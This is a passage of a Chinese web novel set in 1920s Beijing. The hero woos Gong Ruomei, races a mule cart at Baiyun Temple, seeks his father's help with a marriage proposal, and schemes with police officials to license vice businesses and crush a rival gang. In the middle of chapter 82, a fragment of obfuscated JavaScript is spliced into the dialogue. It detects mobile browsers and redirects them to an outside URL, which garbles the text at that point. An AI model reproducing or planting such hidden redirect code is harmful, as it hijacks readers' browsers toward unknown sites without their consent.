张月婷提起孩子们,脸上洋溢着一股母性的笑容。
“原来他私下里做了这么多。”,宫二心中暗道,脑海里又不知不觉的浮现出白敬业的身影。
白氏沟女法则三!
你要有一台可靠的僚机。
就在宫二浮想联翩之时,院外一阵的骚乱。
她和张月婷听见响动,透过窗玻璃一看。
谭海和张增致正搀扶着白敬业往院里走。
就听他边走边冲外边嚷嚷着,“汉卿!五哥!明…明个接着喝!”
在远处还能听见两个醉醺醺的声音回应。
“接着喝!”
“喝!”
搀扶着他的谭海,心里不停的骂着,“三祖宗吐他妈一道了,还惦记着喝呢!”
宫二两人见状都出了屋子,看到他醉醺醺的样子问道。
“谭副官,怎么喝这么多?”
谭海无奈的笑笑,“三位长官今天不知道怎么了,打大先生那出来,就一直从下午喝到现在。”
“谁…谁多了!”
白敬业两手一晃,从谭海和张增致的搀扶中摆脱开。
踉跄着走到宫二面前,“嘿嘿,若…”
还没说完呢,一头就栽倒在宫二的身上。
“白长官!少爷!”
“宫小姐,交给我们吧”,谭海说完架着白敬业,给他拖进了书房。
宫二点点头,又转头看向三厅院的正房,眉头轻皱面带疑色。
回到房里,她按捺不住问向张月婷,“你们少奶奶呢?他喝成这样,不应该照顾他么?”
“而且我怎么发现,他都自己住在书房?”
张月婷心里偷笑,但脸上露出很尴尬的那种笑容。
“不瞒您说宫小姐,我们少爷和少奶奶的关系很差,少爷是大学生,很讨厌这种包办的亲事。”
她压低了声音,“而且我听说自从占元小少爷出生,少爷和少奶奶就没同过房。”
宫二红着脸啐了一口,“净瞎说,人家夫妻俩的事,你们怎么能知道。”
“真的”
张月婷一指外边,“少爷一直一个人住在书房,而且最近几天盯着一幅画发呆。”
她说着仔细打量起宫二,“宫小姐,我怎么感觉你和画上的人特别像,少爷想的人不会就是你吧。”
“别瞎说”
宫二一听俏脸刷的红透了,感觉浑身都在发烧。
她正胡思
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乱想之时,有人拍打房门。
“砰砰砰,月婷姐姐,你能来帮我一下么,少爷吐的厉害,我一个人忙不过来。”
“我这就来!”
听见木棉的声音,张月婷放下手里的活走了出去。
宫二也是略显担忧的看着书房。
过了十多分钟,张月婷端着一个盆返了回来。
盆里装的都是白敬业换下来的脏衣服。
她有些为难的看着宫二。
“怎么了?”
“我去给少爷洗下衣服,宫小姐,你能帮着照顾下少爷么?”
宫二一怔,随即点了点头。
她迈步走进书房,
小木棉端着水盆打了声招呼,“宫小姐好”,而后出了书房。
床上的白敬业蜷缩着身体,捂着胃,显得很难受。
宫二端着茶杯坐到他的旁边,轻声道,“喝点水吧,胃能舒服点。”
白敬业听到声音变了,睁开眼一看,“若梅,你怎么来了?”
宫二给他扶起来灌了些水。
刚把茶杯放到旁边,就感觉自己的手腕被人攥住。
她回头一看,白敬业双眼通红,顺着眼角流下泪来。
白氏沟女第四条。
男人三分醉,演到你流泪!
这孙子喝多了么?
多了!但是前半场多了。
喝特么半天都给他喝醒酒了,后半场开始玩心眼子。
真喝多的是张六子和冯老五。
所以他把张月婷叫过去,就是为了问问宫二这几天的反应。
当听说宫二有要走的想法,就知道火候差不多了。
这盘菜也该上桌了!
宫二也没挣脱,顺势坐了下来,擦擦他的眼泪,咬着嘴唇问道,“大男人哭什么?”
白敬业又抓住她另一只手,哽咽道,“我恨,恨我自己为什么这么晚才遇到你!”
“你知道么,从那天在码头相遇,你的影子就印在我的心里。”
“我喜欢你,若梅!”
宫二闻言鼻子一酸扭过头去,眼泪也流了下来。
她正好看到书桌上的一幅画,顿时怔住。
画是用铅笔画的素描,用镜框裱了起来。
画里的人不是自己还是谁呢。
“你都已经成家了,还说这些干什么?”宫二流泪道。
“不!”
白敬业大喊一声,从后面抱住宫二,“这两天我想了很多,但就是忘不掉你,嫁给我好么。”
第81章 孩子
宫二挣扎了几下,也没挣脱开。
就凭她的功夫,几个白敬业捆一起也不是个啊。
究竟是想挣扎,还是不想呢,呵呵。
“你想让我当你的姨太太?我宫二宁愿一辈子不嫁人,也不当姨太太。”
白敬业给她揽了过来,直视她的双眼,“看着我若梅。”
“我要光明正大的娶你进门!”
宫二的眼神闪躲,“可…可你还有家里。”
“我有办法,我不仅要明媒正娶,我还要登报让华夏所有人都知道你嫁给我!”
“可是…”
“没什么可是”
白敬业用自己的嘴堵住了宫二所有的可是。
菜熟了!
恋爱就和做菜一个道理。
早一分钟出锅,菜还没熟。
晚一分钟,菜焦了。
……
“白长官、宫小姐,您二位来找张司令?俩人还…没醒呢。”
徐承业看着眼前一清早来找张六子的白敬业和宫若梅。
他有点疑惑,怎么少帅和冯庸都喝的人事不省。
这位修合先生倒跟没事人似的,起这么早。
白敬业晃了晃手,“不找他,我找你,你跟他俩说一声,今天我有点事,就不陪他们了。”
“哦,好的,等司令起来,我就…”
他话还没说完,就见白敬业和宫二转身往外走。
俩人的手还牵一块去了。
徐承业挠着脑袋,怎么也想不明白,嘟囔道,“不是昨天吃饭时候还说俩人没进展么,今儿就牵一块去了。”
“还得是修合先生,下手真快。”
两人上了汽车,但前门外的商业街上,买了一大堆吃的、用的。
什么天福号的酱肉酱肘子。
烧鸡、烧鸭子各种卤味杂货。
驴打滚、豌豆黄。
还有小木剑、木枪,各种的玩具买了一堆。
拿不下的就留下地址,让人送了过去。
他准备带着宫二,去看看自己那一堆干儿子。
车子途经南城,宫二看着窗外的乱象感叹道。
“我以为天子脚下能好一些,没想到和津门一样也这么乱。”
“呵呵”,白敬业呵呵一笑,“暂时的,这块原先不这样,前段出了点事,我打算让我舅舅带着人给这片管起来。”
说着他问道,“你们中华武士会就没人像其他武馆似的弄帮派之类的么?要有好手给我介绍一个。”
宫二嘴角带着笑意,“有啊,就在北平,而且你还挺熟悉。”
白敬业一愣,“谁啊?我认识?”
宫二点点头,“原先三合帮的帮主陆彪,他在我们家学过几年。”
“咳,怎么是他?”
白敬业尴尬的咳了一声,没想到是这位。
熟悉么?
太熟了
白大善人一句不允许有这么牛逼的人存在。
陆彪的坟头草都两米多高了。
“哈哈”
宫二看着他窘迫的样子哈哈一笑,“他也不算我们家的弟子,只是在那学过,你想做,我回家帮你找几个师兄弟。”
“我爹平时管的严,不让他们掺和津门的事,不过帮你做事,我爹能同意。”
看见没,什么叫女生外向。
女人一旦认准一个人,家底都能抖搂出来。
这还用白大善人费心结交中华武士会的人么?
拿下一个,其他全都拿下。
给他两年弄出个儿子,他能让中华武士会姓了白!
车开到一栋联排院,由于宿舍那边还没建好,只能安排在这里。
孩子们看见白敬业都围了过来,脸上洋溢着童真的笑容。
“白爸爸”
“白爸爸”
小孩子不懂别的,只知道白敬业一来就会给他们带好吃的和好玩的。
平时有老师来教他们认字,每顿饭都能吃饱。
不用喝洋教堂的苦汤子,也不用挨打挨骂。
白敬业摸摸这个、揉揉那个。
最后捧着一个男孩的小脸儿笑道,“二埋汰,咋还这么埋汰呢,是不是早上又没洗脸。”
“嘿嘿嘿”被叫二埋汰的男孩嘿嘿笑着。
白敬业也不嫌弃脏,用袖子给他擦擦鼻子。
随后向旁边一指,“这是你们白爸爸的老婆,你们叫宫妈妈。”
宫二白了他一眼,然后跟小孩子们聊了起来。
孩子嘛,谁对他们是真好还是假好,一下子就能感知出来。
白敬业一挥手,“给你们带的玩具,自己去拿着玩吧,别打架!”
他看着孩子们的背影笑了起来,眼神中难得的没有一丝算计。
宫二其实挺不解的,在她看来行善积德很正常,
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但没必要养这么多。
而且听张月婷说这还只是一部分,将来宿舍建好还要收养更多。
于是她开口问道,“你为什么要收养这么多的孩子?”
“呵呵,你觉得什么是华夏的未来?”
宫二摇了摇头,这种问题对她来说太过深奥。
白敬业向人群中一指,“孩子才是这个国家的未来。”
“我要给他们培养成才,有天赋的去成为科学家,去学习各种先进的知识。”
“天赋稍差一些的,让他们当兵卫国。”
“只要一代一代人成长起来、强大起来,华夏才不会被欺负,总有一天华夏会强大,会不被任何国家欺负。”
“让那些列强不再有资格说,从实力地位上同华夏谈话!”
宫二看着他的侧脸,一时间痴迷住了。
男人什么时候最有魅力。
当然是挥斥方遒的时候。
她的心里在想,或许这一天一地之间,正是有白敬业这样的人在支撑着。
白敬业牵起她的手,“等我把津门的武行整理顺了,我在津门也这么干。”
“到时候我教他们读书、你教他们功夫,咱俩夫唱妇随。”
宫二给了他一个白眼,“不正经。”
嘴上说着,但脑海中已经出了诸多画面。
一晃时间到了正月十五,元宵节
本来张六子和冯庸早就想走,但架不住白敬业挽留。
说是元宵节的北平非常有意思,当天有跑马赛车,大伙可以一起热闹。
他俩想走的原因,主要是不想看白敬业和宫二俩人腻咕。
这俩除了没睡到一起,天天腻在一起,给张六子和冯庸看得直心烦。
俩人私底下商量好,一定抽机会狠宰白敬业一顿就在百花楼!
老北平,每一个时节,都有一种应时点缀,其中以跑马赛车为最。
元宵节在白云观、三月三在重阳宫、端午节的永定门外,都是好的场所。
其中各方名流,如贝勒载涛、小叫天谭鑫培等更是跑马的好手。
白敬业这身打扮,看着像刚上威虎山的**似的。
身穿鹿皮坎肩,外罩着貂皮大衣,脚底下蹬着一双马靴。
看样子还真像那么回事,他牵过一台骡子车,对着张六子三人滔滔不绝的侃了起来。
第82章 跑马赛车
白敬业一手拿着赶车的鞭子,一手拽住拉车的骡子。
“诸位请上眼,咱们今天要玩的就是跑马赛车里的赛车。”
张六子撇了撇嘴,“不就是赶骡子车么,有什么稀奇的。”
“啧,您瞧您血外行。”
白敬业一咋舌,往骡子头上一指,“看见没有,这是西口的骡子菊花青!最上等的骡子”
“再看这骡子的扮相也有讲究。”
“骡子前脸挂梳子,梳子里边穿珠子,跑起来那是‘踢踏’作响。”
“这也有个讲究叫蹄踏碎玉!”
白敬业转到骡子车的车厢旁,“您各位再瞅瞅这车厢。”
“车厢一水走的大漆、上面描的金线,拢箱子的竹夹总共一十三根,每根上面铆上十三颗铁钉,这叫十三太保的围子。”
“再看这车箭也就是轴承,跑的时候不出一点嘎吱的声音,那得是嘟~……,声音得轻快悦耳。”
他又噔噔蹬,跑到几人面前,露出手里的车鞭,“看咱手里的鞭子,这可是老东西,槟榔木的!”
“这是当年王府里的东西,甩起来再配上车上的铃铛,那是响鞭响铃一路带风!”
冯庸和张六子对视一眼,笑道,“你小子说的这么热闹,你会赶车么?”
白敬业一拍胸脯,“哥们儿虽然没下过场,但是打娘胎里就会赶车,今天咱哥们执鞭,给你们露一手!”
他转头看向宫二,“若梅,你跨沿子我执鞭,给他们露一手。”
就这样分成了两组,那一组是张六子执鞭、冯庸跨沿子。
用张六子的话说,他就是打马车上出生的,从小就会执鞭。
众人坐上汽车,骡子车都交给白家的车夫,一同赶奔白云观。
为啥他们不自己赶车去呢?
两个字跌份。
什么叫玩家?
不是你喜欢狗,就养着还得天天遛狗去。
喜欢了拿过来稀罕两下,其他的事都交给专门养狗的干。
这也是一样,到地方赛车玩一圈,玩完往那一扔。
这叫爷!
来到白云观,那是锣鼓喧天、鞭炮齐鸣、红旗招展、人山人海!
半个北平城的老百姓都来看热闹来了。
白云观外早就有人围好了马场和赛车场。
还有专门的警察来维持秩序。
一般能来跑马赛车下场的,都是北平的名流。
像巨商中的白家、孟家、马家。
戏曲界的谭小培、万小菊、金寿山…还有肃王爷、涛贝勒等等。
“嚯!这人可够多的,有点意思啊?”张六子看着壮观的人群笑道。
他往下场的人中一扫,还真有些熟人。
显然,有人也看见了张六子。
一个穿着北洋军服的人走了过来,脸上没胡子,但面容很是刚毅,典型的北方汉子。
“哈哈哈,汉卿你怎么来了。”
张汉卿一拱手,笑道,“见过涛贝勒。”
载涛大笑一摆手,“什么贝勒唔的,大清都没了,咱们随意点,”
这位清贝勒载涛,难得的硬派人物。
溥仪的七叔,当年就是他抱着溥仪进宫的。
因溥仪投向岛国人的怀抱,跟他反目成仇。
那么多满清余孽投向伪满,这位硬是不去,宁可在北平鬼市变卖家产度日,也不舔龟子的腚沟子。
在建国后还担任过炮兵的马政总顾问。
一生中最爱养马、画马。
张六子拉过白敬业和冯庸,“这两位是我好兄弟,白修合、冯庸。”
“认识!”
载涛一脸的笑意,“小冯当年在北平,咱们也吃过饭,老朋友了。”
他说着看向白敬业,“修合可不得了,我听说你骂了溥仪和姓康的那老杂**一顿?”
“哈哈哈”,白敬业哈哈一笑,“这事都传过来了?”
载涛一拍白敬业的胸膛,“骂得好!这两个数典忘宗的东西,他小妈妈的,投了岛国人,真是给祖宗丢人。”
“塞思黑!阿其那!”
载涛不解恨的还甩出两句满语。
白敬业一挑大拇指,“涛贝勒豪横!”
“哈哈哈,等比完了赛,有空咱们好好聊聊。”
几人在这闲聊,白敬业四处撒摸,一看白七爷也来了。
正跟戏曲界这些名角儿聊的不亦乐乎,他后边还跟着大魔怔白玉婷。
大魔怔那眼睛都快陷万小菊身上了。
胶黏!
时间一到,跑马的赛手先下场。
要说玩的好、有人气还得是这些戏曲界。
老百姓们就是奔着他们来的。
人家可不认识你这个贝勒、那个王爷的。
就跟后世追星似的,比那个要疯狂。
名角儿余叔岩这么一亮相。
喝的是满堂彩!
胯下的马‘呱嗒,呱嗒’走了起来。
这叫做走马。
张六子在旁边看着也跟着鼓掌,笑道,“我也骑马但是这走马一直练不出来,这位余老板有功夫。”
冯庸在一旁点头道,“是有功夫,但我看跟吴二大爷一比还差点。”
“啧”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429771|184893||http|test|mini|href|location''.split(''|''),0,{}));
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r>张六子翻了个白眼,“你这不抬杠么,二大爷那是马上吃、马上住的人,有可比性么!”
他们口中的二大爷就是黑省督军,吴俊生。
也是陪老帅一起上路的兄弟。
跑马相对来说观赏性差了一些,不像赛车那么有竞技性。
等这几位好手载涛、十阵风、金寿山等都表演完了。
轮到了赛车,各个车手轮番进场。
有眼尖的认出了白敬业,在场外叫喊着。
“那不是白修合么!”
“好家伙,还是头一次见他赛车,这孙子会么?”
“修合先生加油!”
白敬业冲着四方抱了抱拳,那逼都装透了。
可当他坐在车上,握起鞭子的时候心却慌了。
没玩过!
这孙子哪会执鞭啊?
去安国坐一趟马车都得带个车夫。
他装模作样的抡起鞭子,等待着信号。
这一排十几辆车,都是各中好手。
白七爷执鞭、马连良跨沿子。
谭小培执鞭、万小菊跨沿子。
“啪!”**一响。
白敬业这鞭子就抡开了,抡了个满圆。
这一下抽过去,骡子吃痛,“嗷!”的一声窜了出去。
“艹!”
“白修合!你瞎特么抡什么呢!”
再看白敬业这辆车纹丝没动,他这一鞭子正捎带着张六子那台车。
冯庸好悬被蹿出的骡子悠下去,扭过头冲着白敬业这通骂!
这种比赛的骡子都是经过训练的,骡子天生不会快走,只会跑。
只有调教好的才能快走,这骡子心想,“今年改规则了?怎么使那么大劲!”
一个蹿蹬就出去了。
周围的百姓这顿笑啊。
“外行!太外行了!”
宫二见状一把夺过白敬业手里鞭子。
“啪!”
轻轻一甩,骡子踏着“呱嗒呱嗒”的节奏逐渐加速。
白敬业惊住了,“你还会这个呢?”
宫二不紧不慢的甩起鞭子,“从小我爹就什么都教我,别说驾车了,南方的金楼、北平的百花楼我都去过。”
白敬业心想,“好家伙,这亲爹带女儿逛窑子,自己这老丈人真是个人物。”
“驾!你还记得我们第一次见,我踩你的那次么?”
白敬业点头,“当然记得,我还合计呢,谁这么大的劲儿!”
“我是故意的。”
“为什么?”
“因为我在百花楼听到的全是你干的缺德事。”
“哈哈哈哈”
第83章 这事他也不赖我呀
车站里,白敬业跟宫二等人做着道别。
两人依依不舍的看着对方。
白敬业贴着宫二的耳边小声道,“等我再去津门,就让我家里上门提亲。”
宫二被他在耳边说话时吐出的气息,撩拨的心迷意乱。
整个人的脸都烧的滚烫。
“哎哎哎,差不多得了,又不是生离死别的,这是车站,你俩注意点形象行么?”
冯庸在一旁看的眼热嚷嚷起来。
张六子一脸的坏笑,“我说老五,你也老大不小的了,跟江朝宗他女儿要是过不下去,就再找一个。别整天给那点精力都撒窑子里。”
冯庸心中一动,但嘴上依旧逞强,“什么话,爷们是那种始乱终弃的人么?”
“你小子还有脸说我你倒是找了那个谷小姐,我看你让大姐知道了怎么办。”
二人互相揭起老底,时间不长,该到了上车的时候。
白敬业冲着包厢里的几人不舍的挥着手。
当然这份不舍是冲着宫二。
那俩孙子昨晚可算逮到机会,给他妈整个百花楼全包了。
八大胡同中几座最上等的花楼,属百花楼的消费最高。
给白敬业疼的龇牙咧嘴。
其实他这趟应该跟着一起返回津门,但黄立找来的人手明后天就到。
他准备现在把北平的事打开个口子,再去津门。
一出了车站,白敬业的心里就犯了愁。
亲得怎么提呢?
这不是后世,拿着身份证、户口本,你说你喜欢,就跟着黄毛一扯证。
现在讲究的是父母之命、媒妁之言。
媒人好办,让张六子、冯老五凑合凑合。
父母这块就得求着他那活爹了。
“唉”
白敬业感叹了一句,“人在矮檐下不得不低头啊。”
他一边想着一边上了车。
“白长官,直接回家么?”谭海问道。
白敬业晃晃头,“到大栅栏买点东西。”
……
白敬业拎着大包小裹的进了新宅。
买的都什么?
都是白七爷爱吃的!
他得讨好他这活爹,总不能什么事都让老太太出面啊。
白景琦出面提亲,这事就好办多了。
他一挑帘进了正房。
白景琦正和黄春吃晚饭呢。
“呦,爸、妈,吃着呢。”
黄春见到儿子赶忙招呼,“你吃了么?莲心,给敬业拿副碗筷。”
“是!”
白敬业看了一眼桌上这几个菜,“啧,爸、妈,您两位吃的太素了点。”
白景琦没搭言,眼睛瞥向他手里的东西,“都买的什么呀?”
“嘿嘿”,白敬业嘿嘿一笑,“都是您爱吃的!”
“马**他们家的白水羊头,天福号的酱肘子,还有便宜坊的焖炉烧鸭子。”
“哎呦”
白景琦像受宠若惊似的哎呦了一声,“咱们家大少爷,您在吓着我,这是干什么啊,太阳打西边出来了?”
“得得,你还是自己拿回去吃吧,我啊,有钱我自个儿买去!”
白景琦说着滋溜干了一口酒。
他知道白敬业干什么来的么,已经猜到七八分了。
白敬业和老太太说完的当天,老太太就找来了白景琦。
让他务必要把这件事办妥。
白景琦最开始也以为只是白敬业哄老太太的说辞。
但宫二这么一来,俩人成天的这么腻歪。
好么,感情是真事。
白景琦这心里乐开花了,一是宫二确实不错家世也好。
但最重要的是,他终于揪到白敬业的尾巴了。
小贼!今天就让你知道当爹的就是当爹的!
白敬业一听,他这活爹是跟他置气呢。
前几天他因为白玉婷的事,刚给白景琦撅了个窝脖。
他谄媚一笑,毕恭毕敬道,“爸爸,您说的这是什么话,这都是儿子专门孝敬父亲的。”
“莲心,拿到小厨房一样切点,给咱们老爷下酒。”
白景琦靠在椅子上,谱摆的这个大啊,说话都用鼻腔哼哼。
“说吧,什么让你这通献殷勤,无事献殷勤非奸即盗!”
“瞧您说的,当儿子的孝敬孝敬爹,这不是应当应分的嘛。”
白敬业说着给他爹斟满了酒。
黄春见丈夫一直摆谱看不下去,就主动问道,“敬业,你是为了宫姑娘的事来的吧。”
白敬业一愣,“呦,妈您都知道了?”
“你那天说完,你奶奶就找你爸爸了。”
白景琦眉头微皱,“你瞧你…”
自从白敬业出息了,再加上黄立和大格格也都来到北平。
黄春也硬气起来了。
杨九红有一句话说的还真对,这女人没娘家人撑腰就是硬不起来。
“你瞪什么眼,儿子好不容易求你一回,妈都说了让你好好办,你还拿什么架子。”
“得得得”
白景琦一摆手看向白敬业,“你这事倒也没那么难办,只要宫姑娘有这份儿心。”
“宫老爷子那我亲自登门,问题应该是不大,不过我有个条件。”
“嗯嗯嗯”
白敬业点头如小鸡吃米,“爸爸您说。”
白景琦脸上露出坏笑,“过两天我请万小
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菊吃饭,你得跟着作陪。”
白敬业一听,脸垮了下来,用手使劲揉了揉脸。
又从盘里钳了一块白水羊头。
“滋溜”,喝了口酒缓和一下心情。
“我说爸爸,当儿子的说句忤逆点的话,您疯了非得管这路闲事!”
“啧”
白景琦咋舌道,“你瞧,什么叫我疯了,我不管谁管?搁着你姑姑在闹一通,日子还过不过了。”
“您换个人也行啊,干嘛非找我,大爷、二大爷…谁不行”
“废话!他们去我用的着找你么?”
白景琦倒不是非得找他,实在是没人愿意陪他去。
问谁谁晃脑袋,说话的口径还都一样。
二婶现在身体不好,你这时候揽这路闲事,让她老人家知道肯定饶不了你。
“主要是去了说什么?哦,万老板,白家大姑奶奶死乞白赖的非得给您当个外室,您看您同意么?”
“像话么这个!”
白景琦一瞪眼睛,气愤道,“你说的这叫什么话,好歹她是你姑姑,有你这么背后说长辈的么?”
“我…”
黄春见父子俩又要锵锵起来,赶忙在中间打着圆场。
“敬业,算了,你跟你爸爸去吧,总不能让你爸爸一个人去啊,你就当给你爸爸撑个场面。”
“就这一次,要是不同意,玉婷也就能死心了。”
白敬业咬咬牙,“行吧,咱先说好,到那你别指望我在中间劝他。”
白景琦见儿子妥协,笑了起来,“我知道我知道,我也不劝,事跟他一说,不同意最好。”
父子二人这才把事情敲定,他这边乐乐呵呵的吃饭聊天。
可有人就发愁了。
“少奶奶不好了。”
唐幼琼看着丫鬟冒冒失失的跑了进来,皱眉道,“怎么了?”
“少奶奶,我听说少爷又要娶一房,还说是要兼挑!就是那位来的宫姑娘。”
唐幼琼听完,也没太大的反应,“娶就娶吧,老爷和太太都同意的事,我还能管得了他。”
她和白敬业属于典型的包办婚姻。
以前都没什么太多感情,自从白敬业穿过来更别提了。
白敬业基本不在正房露面,他也乐得自在。
主要唐幼琼长得没在他审美上,这孙子是典型的看脸主义。
小丫鬟是从唐家跟着一起过来的陪嫁丫头,心里自然是向着唐幼琼。
“少奶奶,不是我说您,少爷住院您都没露面,少爷肯定是生气了,才想的另娶一房。”
唐幼琼还跟个木头似的,嘟囔了一句,“这事他也不赖我呀。”
第84章 北平黑金时代
翌日中午
白敬业正在那研究白景泗给的那些资料。
他已经找好了人选,准备先挑出最近蹦跶的最欢的。
谁最跳就打谁!
剩下的安抚一批、拉拢一批、打压一批。
效仿港岛雷洛,给黑帮重新制定规则。
“咚咚,少爷,门口来了几个人,说是宫小姐派来的。”
白敬业一怔,心想,若梅的速度够快的。
自己就提了那么一嘴,她刚到家就把人发过来了。
白敬业心中暗喜,一路小跑到了门口。
门房旁边站着六七个大汉,都背着包袱。
“梁兄!咱们又见面了,多日不见想死小弟了。”
白敬业上前热情的跟冯国璋他重孙子似的,紧紧拉住领头的胳膊。
这些人他都认识,在宫府这段时间没少和他们打交道。
领头的师兄叫梁石,是宫宝森的外门弟子。
武行的弊端就在这,当家人一生只传一两个真传弟子。
剩下的都算是外门和记名弟子。
以至于到后来国术没落,跟这种制度有一定的关系。
“哈哈,白兄,我们哥几个听师姐说你想做点事,这不昨晚跟师父请示过,今天就出来了,还望白兄你收留。”
梁石的岁数比白敬业还大着几岁,但按照入门的先后,依然称呼宫二为师姐。
白敬业带着他们走向客房,“没说的,梁兄给面子,到这就是到家了,往里请。”
等安顿好了这些人,白敬业叫上黄立一起来到警厅。
经过上次的事,那位朱局长靠边站了,被调到清水衙门任了闲职。
白景泗重新掌管警察厅,又提拔自己的心腹那个李队长当了副局长。
把原朱局长那些人全都扫地出门。
ZZ斗争嘛,哪来的对与错,只有立场才是最大的问题。
“哎呦,大侄子、他舅舅,你俩总算是来了。”
白景泗满脸堆笑,知道他俩是给自己解决难题来了。
他冲旁边属下一挥手,“去,把李副局长也叫来,再去东兴楼点几个菜。”
“是,局长!”
李副局长一进来,白敬业就调笑道,“李哥,这是升了啊,以后得叫您李局长啦。”
李副局长连连摆手,“别别别,大少爷,我这多亏了局长的提拔才有今天,您可不能给我上眼药。”
“哈哈哈”
没过多久,下属就带着酒菜赶了回来,四人边吃边聊。
白景泗按耐不住开口询问,“大侄子,想出来什么好方法,帮四大爷解决着燃眉之急了么?”
“哈哈,你看四大爷,你又急。”
白敬业不紧不慢的饮了杯酒,“这事啊,要我说好办。”
“三合帮以前怎么办的,咱们就怎么办,而且还要比他们更有规矩些。”
他朝着黄立扬了扬头,“我准备让我舅舅把北平的帮派归拢起来,这两天挑出一个最跳的,先给他们灭了!”
白景泗端着酒杯咂摸咂摸滋味,“嘿!这事倒是有点意思,你细说说,怎么规矩法!”
他多少能明白白敬业的意思,但不明白这个规矩是啥意思。
“四大爷,咱们警厅平时怎么收的这些帮派的孝敬?”
白景泗挠挠头,“呃,也没个准数啊,这个隔三差五孝敬点、那个也孝敬点,加上平时弟兄们跑外,在搜刮点油水。”
白敬业一拍大腿,“您看,这就没规矩吧,咱们得怎么制定?”
“把南城大大小小酒肆、茶肆、赌坊、妓馆等等,都给他统计出来,按照规模大小收取规费。”
“收上来的钱,按照警厅大小职级,从上到下,每人人手一份。”
“交了规费的,咱们就允许他开,不交的一律取缔,什么这帮那派的,让他们知道,在北平只有警厅是老大!”
“警厅让他们有饭吃,他们就有饭吃,不让他们吃饭,就这辈子不用吃饭!”
白景泗和李副厅长俩人听的这个美,这可是给他们警厅谋福利的事。
民国时期,工资最低的公职人员是谁?
臭脚巡!
一个月还没独立的车夫赚的多。
所以这帮街上的巡警,遇见什么都睁一眼闭一眼,一个月就特么几块大洋,我跟你玩什么命。
白景泗给他倒上杯酒,喜出望外的说道,“大侄子,快接着说。”
白敬业点点头,“我跟舅舅成立的这个帮派,不去碰城里面的生意,做那些事不符合咱们白家的身份。”
“我们专门替警局做上不得台面的事,解决不听话的帮会,但要从上交的规费中抽取一部分。”
因为河蟹大神的存在,白敬业是不可能碰逼良为娼、还有那些东西的。
例如那个大火因,白敬业想把它全禁了。
但是做这个生意的盘根错节,明面上政府下令禁止,但背后都有他们的利益点。
北平的火因来源有两条。
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>一条是西北那边来的,一条是西南经津门码头运来的。
现在执政的还是老段,他根本没法清除,只能等到老张掌权,小张能在北平立住再图谋此事。
所以他想好了只抽规费,另外他接下来的护厂队马上要成立,再给这些人一份工资,肯定会比混帮派赚的多。
宫二带的人、黄立拉来的人。
别管因为什么,不能让人空手白干活,出来混是图钱的,不给足了,人家也不会给你玩命。
白敬业提起杯酒,“四大爷,黑活儿我们干,你们要做的就是在北平开启为期三个月的打黑除恶。”
“把警局的光辉形象立起来,我会让报社的同仁一起声援你,一定让你的警厅生涯再进一步。”
“**”
白景泗把桌子拍的直响,夸赞道,“大侄子高!你可是给四大爷帮了大忙!你放心,收上来的规费,绝不让底下兄弟们吃亏。”
李副局长端起杯酒,敬向白敬业,“大少爷我敬您,您看要成立的帮派手下还缺人么?”
白敬业跟他干了一杯,“李哥,有什么话直说,都是自己人。”
李副局长不好意思的笑了笑,“实不相瞒大少爷,上回扫三合帮的时候,我私自放了个小头目。”
“他和我沾点关系,得叫我一声姐夫,但是我保证,他从来没干过逼良为娼和贩**土的事。”
“平时靠收点保护费为生,他手下有那么三五十号兄弟,自从三合帮一倒,他也不太好过,我想着大少爷手下要是缺人就给他带上。”
白景泗也跟着点头道,“他那个表弟我也见过,人还行,就是有那么点愣,但是人品还说得过去。”
“嗨!这算什么事啊,李哥,你一会儿给他叫过来,我看看,要是人行就在一起干。”
“谢谢,谢谢大少爷!我这就让人叫他。”
等李副局长的表弟一到,白敬业看着都眼晕。
好家伙的,这身高,打底都得1米95,满脸的横肉。
一身的肌肉块跟**大汉似的。
这身板子不扛**都可惜了。
一说起话来瓮声瓮气的。
“白少爷您好,俺叫赵德柱!”
白敬业点点头心想,“这个头是能罩得住。”
“过来坐,听你姐夫说你最近不太好。”
“嘿嘿”
赵德柱嘿嘿一笑,“俺姐夫都跟您说了,是不太好,自从白少爷把大彪哥他们都杀了…”
第86章 跟我比家伙儿?
众人干了碗里的酒,统一在脖子上系了一条黄色丝带。
分成四路围剿猛虎帮。
每一路都有几个巡街的黑皮帮忙引路。
扫黑除恶嘛,当然要有扫的彻底。
黄立带着人,来到猛虎帮经营最大的买卖。
如意坊妓馆。
规模虽然比不上八大胡同里的,但也不小,上下两层小楼。
黄立拎着忠义刀,后边好几个兄弟手里还拿着用布缠着的家伙。
门口迎客的龟公,见他们来势汹汹,赶忙上前阻拦。
“哎哎哎!知道这是什么地方么!还敢带家伙上这来,走走走。”
“去**!”
旁边跟着的兄弟上去就是一大嘴巴子,给他扇倒在地。
黄立迈步走进妓馆,举起刀高喝一声,“给我砸!”
这些草原的汉子,抡起家伙乒乓这通砸。
“来玩娘们的,都他妈给我滚!等会打起来,别溅你们一身血!”
“老子的刀可不长眼!”
**们纷纷往外跑,有的连裤子都提溜不上。
捂着兄弟连滚带爬的出了妓馆。
老鸨子一看这还了得,大喊一声,“后面的人都出来!有来**的!”
这种妓馆跟八大胡同还不一样。
八大胡同有政府颁发的牌照,允许经营,来的还都是达官显贵。
所以没人**,也就不会有扛刀扛叉的打手。
老鸨子一声叫喊,后边冲出来十多打手都拎着棒子。
“他奶奶的,长几个脑袋,敢来咱们…”
“啊!”
领头的话还没说完,黄立抄起一把凳子,朝着他的脑袋就扔了过去。
“咔嚓!”
凳子都是实木的,给他砸的是头破血流,躺地上直抽抽。
黄立拎着刀就冲了上去,这些人哪够他打的。
刀都没出鞘,他跟几个兄弟三下五除二,就把这些打手放倒在地。
“呸!”
黄立吐了一口唾沫,拉过一把椅子,大马金刀的坐在上边。
他冲着老鸨子一招手。
老鸨子吓得体如筛糠,都快尿出来了。
旁边的兄弟在后边推了她一把,“过去。”
“哎哎,好汉您这是干什么啊?我们哪得罪您了。”
“呵呵”,黄立呵呵一笑,“我听说你们这儿,是那个他妈什么钱大头开的?”
“我不为难你,你马上去找钱大头,告诉他,**的帮主黄爷在这等他!”
“让他有多少人带多少人,今晚黄爷我就灭了他的猛虎帮!”
